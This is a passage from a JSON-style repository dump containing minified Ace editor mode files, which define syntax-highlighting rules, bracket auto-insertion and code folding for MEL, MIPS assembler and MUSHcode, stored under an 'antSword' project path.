ntCircularArc))|rble))|b(irailSrf|o(neLattice|olean|undary(Base)?)|u(lge|mp(2d|3d))|evel(Plus)?|l(in(n|dDataTemplate)|end(Shape|Color(s|Sets)|TwoAttr|Device|Weighted)?)|a(se(GeometryVarGroup|ShadingSwitch|Lattice)|keSet)|r(ownian|ush)))\\\\b\"},{caseInsensitive:!0,token:\"keyword.control.mel\",regex:\"\\\\b(if|in|else|for|while|break|continue|case|default|do|switch|return|switch|case|source|catch|alias)\\\\b\"},{token:\"keyword.other.mel\",regex:\"\\\\b(global)\\\\b\"},{caseInsensitive:!0,token:\"constant.language.mel\",regex:\"\\\\b(null|undefined)\\\\b\"},{token:\"constant.numeric.mel\",regex:\"\\\\b((0(x|X)[0-9a-fA-F]*)|(([0-9]+\\\\.?[0-9]*)|(\\\\.[0-9]+))((e|E)(\\\\+|-)?[0-9]+)?)(L|l|UL|ul|u|U|F|f)?\\\\b\"},{token:\"punctuation.definition.string.begin.mel\",regex:'\"',push:[{token:\"constant.character.escape.mel\",regex:\"\\\\\\\\.\"},{token:\"punctuation.definition.string.end.mel\",regex:'\"',next:\"pop\"},{defaultToken:\"string.quoted.double.mel\"}]},{token:[\"variable.other.mel\",\"punctuation.definition.variable.mel\"],regex:\"(\\\\$)([a-zA-Z_\\\\x7f-\\\\xff][a-zA-Z0-9_\\\\x7f-\\\\xff]*?\\\\b)\"},{token:\"punctuation.definition.string.begin.mel\",regex:\"'\",push:[{token:\"constant.character.escape.mel\",regex:\"\\\\\\\\.\"},{token:\"punctuation.definition.string.end.mel\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.quoted.single.mel\"}]},{token:\"constant.language.mel\",regex:\"\\\\b(false|true|yes|no|on|off)\\\\b\"},{token:\"punctuation.definition.comment.mel\",regex:\"/\\\\*\",push:[{token:\"punctuation.definition.comment.mel\",regex:\"\\\\*/\",next:\"pop\"},{defaultToken:\"comment.block.mel\"}]},{token:[\"comment.line.double-slash.mel\",\"punctuation.definition.comment.mel\"],regex:\"(//)(.*$\\\\n?)\"},{caseInsensitive:!0,token:\"keyword.operator.mel\",regex:\"\\\\b(instanceof)\\\\b\"},{token:\"keyword.operator.symbolic.mel\",regex:\"[-\\\\!\\\\%\\\\&\\\\*\\\\+\\\\=\\\\/\\\\?\\\\:]\"},{token:[\"meta.preprocessor.mel\",\"punctuation.definition.preprocessor.mel\"],regex:\"(^[ \\\\t]*)((?:#)[a-zA-Z]+)\"},{token:[\"meta.function.mel\",\"keyword.other.mel\",\"storage.type.mel\",\"entity.name.function.mel\",\"punctuation.section.function.mel\"],regex:\"((?:global\\\\s*)?proc)\\\\s*(\\\\w+\\\\s*\\\\[?\\\\]?\\\\s+|\\\\s+)([A-Za-z_][A-Za-z0-9_\\\\.]*)(\\\\s*(\\\\())\",push:[{include:\"$self\"},{token:\"punctuation.section.function.mel\",regex:\"\\\\)\",next:\"pop\"},{defaultToken:\"meta.function.mel\"}]}]},this.normalizeRules()};r.inherits(s,i),t.MELHighlightRules=s}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/mel\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/mel_highlight_rules\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./mel_highlight_rules\").MELHighlightRules,o=e(\"./behaviour/cstyle\").CstyleBehaviour,u=e(\"./folding/cstyle\").FoldMode,a=function(){this.HighlightRules=s,this.$behaviour=new o,this.foldingRules=new u};r.inherits(a,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/mel\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "antSword/static/libs/ace/mode-mips_assembler.js",
    "content": "ace.define(\"ace/mode/mips_assembler_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"support.function.pseudo.mips\",regex:\"\\\\b(?:mul|abs|div|divu|mulo|mulou|neg|negu|not|rem|remu|rol|ror|li|seq|sge|sgeu|sgt|sgtu|sle|sleu|sne|b|beqz|bge|bgeu|bgt|bgtu|ble|bleu|blt|bltu|bnez|la|ld|ulh|ulhu|ulw|sd|ush|usw|move|mfc1\\\\.d|l\\\\.d|l\\\\.s|s\\\\.d|s\\\\.s)\\\\b\",comment:\"ok actually this are instructions, but one also could call them funtions\\u2026\"},{token:\"support.function.mips\",regex:\"\\\\b(?:abs\\\\.d|abs\\\\.s|add|add\\\\.d|add\\\\.s|addi|addiu|addu|and|andi|bc1f|bc1t|beq|bgez|bgezal|bgtz|blez|bltz|bltzal|bne|break|c\\\\.eq\\\\.d|c\\\\.eq\\\\.s|c\\\\.le\\\\.d|c\\\\.le\\\\.s|c\\\\.lt\\\\.d|c\\\\.lt\\\\.s|ceil\\\\.w\\\\.d|ceil\\\\.w\\\\.s|clo|clz|cvt\\\\.d\\\\.s|cvt\\\\.d\\\\.w|cvt\\\\.s\\\\.d|cvt\\\\.s\\\\.w|cvt\\\\.w\\\\.d|cvt\\\\.w\\\\.s|div|div\\\\.d|div\\\\.s|divu|eret|floor\\\\.w\\\\.d|floor\\\\.w\\\\.s|j|jal|jalr|jr|lb|lbu|lh|lhu|ll|lui|lw|lwc1|lwl|lwr|madd|maddu|mfc0|mfc1|mfhi|mflo|mov\\\\.d|mov\\\\.s|movf|movf\\\\.d|movf\\\\.s|movn|movn\\\\.d|movn\\\\.s|movt|movt\\\\.d|movt\\\\.s|movz|movz\\\\.d|movz\\\\.s|msub|mtc0|mtc1|mthi|mtlo|mul|mul\\\\.d|mul\\\\.s|mult|multu|neg\\\\.d|neg\\\\.s|nop|nor|or|ori|round\\\\.w\\\\.d|round\\\\.w\\\\.s|sb|sc|sdc1|sh|sll|sllv|slt|slti|sltiu|sltu|sqrt\\\\.d|sqrt\\\\.s|sra|srav|srl|srlv|sub|sub\\\\.d|sub\\\\.s|subu|sw|swc1|swl|swr|syscall|teq|teqi|tge|tgei|tgeiu|tgeu|tlt|tlti|tltiu|tltu|trunc\\\\.w\\\\.d|trunc\\\\.w\\\\.s|xor|xori)\\\\b\"},{token:\"storage.type.mips\",regex:\"\\\\.(?:ascii|asciiz|byte|data|double|float|half|kdata|ktext|space|text|word|set\\\\s*(?:noat|at))\\\\b\"},{token:\"storage.modifier.mips\",regex:\"\\\\.(?:align|extern||globl)\\\\b\"},{token:[\"entity.name.function.label.mips\",\"meta.function.label.mips\"],regex:\"\\\\b([A-Za-z0-9_]+)(:)\"},{token:[\"punctuation.definition.variable.mips\",\"variable.other.register.usable.by-number.mips\"],regex:\"(\\\\$)(0|[2-9]|1[0-9]|2[0-5]|2[89]|3[0-1])\\\\b\"},{token:[\"punctuation.definition.variable.mips\",\"variable.other.register.usable.by-name.mips\"],regex:\"(\\\\$)(zero|v[01]|a[0-3]|t[0-9]|s[0-7]|gp|sp|fp|ra)\\\\b\"},{token:[\"punctuation.definition.variable.mips\",\"variable.other.register.reserved.mips\"],regex:\"(\\\\$)(at|k[01]|1|2[67])\\\\b\"},{token:[\"punctuation.definition.variable.mips\",\"variable.other.register.usable.floating-point.mips\",\"variable.other.register.usable.floating-point.mips\"],regex:\"(\\\\$)(f)([0-9]|1[0-9]|2[0-9]|3[0-1])\\\\b\"},{token:\"constant.numeric.float.mips\",regex:\"\\\\b\\\\d+\\\\.\\\\d+\\\\b\"},{token:\"constant.numeric.integer.mips\",regex:\"\\\\b(?:\\\\d+|0(?:x|X)[a-fA-F0-9]+)\\\\b\"},{token:\"punctuation.definition.string.begin.mips\",regex:'\"',push:[{token:\"punctuation.definition.string.end.mips\",regex:'\"',next:\"pop\"},{token:\"constant.character.escape.mips\",regex:'\\\\\\\\[rnt\\\\\\\\\"]'},{defaultToken:\"string.quoted.double.mips\"}]},{token:\"punctuation.definition.comment.mips\",regex:\"#\",push:[{token:\"comment.line.number-sign.mips\",regex:\"$\",next:\"pop\"},{defaultToken:\"comment.line.number-sign.mips\"}]}]},this.normalizeRules()};s.metaData={fileTypes:[\"s\",\"mips\",\"spim\",\"asm\"],keyEquivalent:\"^~M\",name:\"MIPS Assembler\",scopeName:\"source.mips\"},r.inherits(s,i),t.MIPSAssemblerHighlightRules=s}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/)#(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/mips_assembler\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/mips_assembler_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./mips_assembler_highlight_rules\").MIPSAssemblerHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.$id=\"ace/mode/mips_assembler\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-mipsassembler.js",
    "content": "ace.define(\"ace/mode/mipsassembler_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"string.start\",regex:'\"',next:\"qstring\"}],qstring:[{token:\"escape\",regex:/\\\\./},{token:\"string.end\",regex:'\"',next:\"start\"}]},this.normalizeRules()};s.metaData=r.inherits(s,i),t.mipsassemblerHighlightRules=s}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/)#(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/mipsassembler\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/mipsassembler_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./mipsassembler_highlight_rules\").HighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.$id=\"ace/mode/mipsassembler\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-mushcode.js",
    "content": "ace.define(\"ace/mode/mushcode_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"@if|@ifelse|@switch|@halt|@dolist|@create|@scent|@sound|@touch|@ataste|@osound|@ahear|@aahear|@amhear|@otouch|@otaste|@drop|@odrop|@adrop|@dropfail|@odropfail|@smell|@oemit|@emit|@pemit|@parent|@clone|@taste|whisper|page|say|pose|semipose|teach|touch|taste|smell|listen|look|move|go|home|follow|unfollow|desert|dismiss|@tel\",t=\"=#0\",n=\"default|edefault|eval|get_eval|get|grep|grepi|hasattr|hasattrp|hasattrval|hasattrpval|lattr|nattr|poss|udefault|ufun|u|v|uldefault|xget|zfun|band|bnand|bnot|bor|bxor|shl|shr|and|cand|cor|eq|gt|gte|lt|lte|nand|neq|nor|not|or|t|xor|con|entrances|exit|followers|home|lcon|lexits|loc|locate|lparent|lsearch|next|num|owner|parent|pmatch|rloc|rnum|room|where|zone|worn|held|carried|acos|asin|atan|ceil|cos|e|exp|fdiv|fmod|floor|log|ln|pi|power|round|sin|sqrt|tan|aposs|andflags|conn|commandssent|controls|doing|elock|findable|flags|fullname|hasflag|haspower|hastype|hidden|idle|isbaker|lock|lstats|money|who|name|nearby|obj|objflags|photo|poll|powers|pendingtext|receivedtext|restarts|restarttime|subj|shortestpath|tmoney|type|visible|cat|element|elements|extract|filter|filterbool|first|foreach|fold|grab|graball|index|insert|itemize|items|iter|last|ldelete|map|match|matchall|member|mix|munge|pick|remove|replace|rest|revwords|setdiff|setinter|setunion|shuffle|sort|sortby|splice|step|wordpos|words|add|lmath|max|mean|median|min|mul|percent|sign|stddev|sub|val|bound|abs|inc|dec|dist2d|dist3d|div|floordiv|mod|modulo|remainder|vadd|vdim|vdot|vmag|vmax|vmin|vmul|vsub|vunit|regedit|regeditall|regeditalli|regediti|regmatch|regmatchi|regrab|regraball|regraballi|regrabi|regrep|regrepi|after|alphamin|alphamax|art|before|brackets|capstr|case|caseall|center|containsfansi|comp|decompose|decrypt|delete|edit|encrypt|escape|if|ifelse|lcstr|left|lit|ljust|merge|mid|ostrlen|pos|repeat|reverse|right|rjust|scramble|secure|space|spellnum|squish|strcat|strmatch|strinsert|stripansi|stripfansi|strlen|switch|switchall|table|tr|trim|ucstr|unsafe|wrap|ctitle|cwho|channels|clock|cflags|ilev|itext|inum|convsecs|convutcsecs|convtime|ctime|etimefmt|isdaylight|mtime|secs|msecs|starttime|time|timefmt|timestring|utctime|atrlock|clone|create|cook|dig|emit|lemit|link|oemit|open|pemit|remit|set|tel|wipe|zemit|fbcreate|fbdestroy|fbwrite|fbclear|fbcopy|fbcopyto|fbclip|fbdump|fbflush|fbhset|fblist|fbstats|qentries|qentry|play|ansi|break|c|asc|die|isdbref|isint|isnum|isletters|linecoords|localize|lnum|nameshort|null|objeval|r|rand|s|setq|setr|soundex|soundslike|valid|vchart|vchart2|vlabel|@@|bakerdays|bodybuild|box|capall|catalog|children|ctrailer|darttime|debt|detailbar|exploredroom|fansitoansi|fansitoxansi|fullbar|halfbar|isdarted|isnewbie|isword|lambda|lobjects|lplayers|lthings|lvexits|lvobjects|lvplayers|lvthings|newswrap|numsuffix|playerson|playersthisweek|randomad|randword|realrandword|replacechr|second|splitamount|strlenall|text|third|tofansi|totalac|unique|getaddressroom|listpropertycomm|listpropertyres|lotowner|lotrating|lotratingcount|lotvalue|boughtproduct|companyabb|companyicon|companylist|companyname|companyow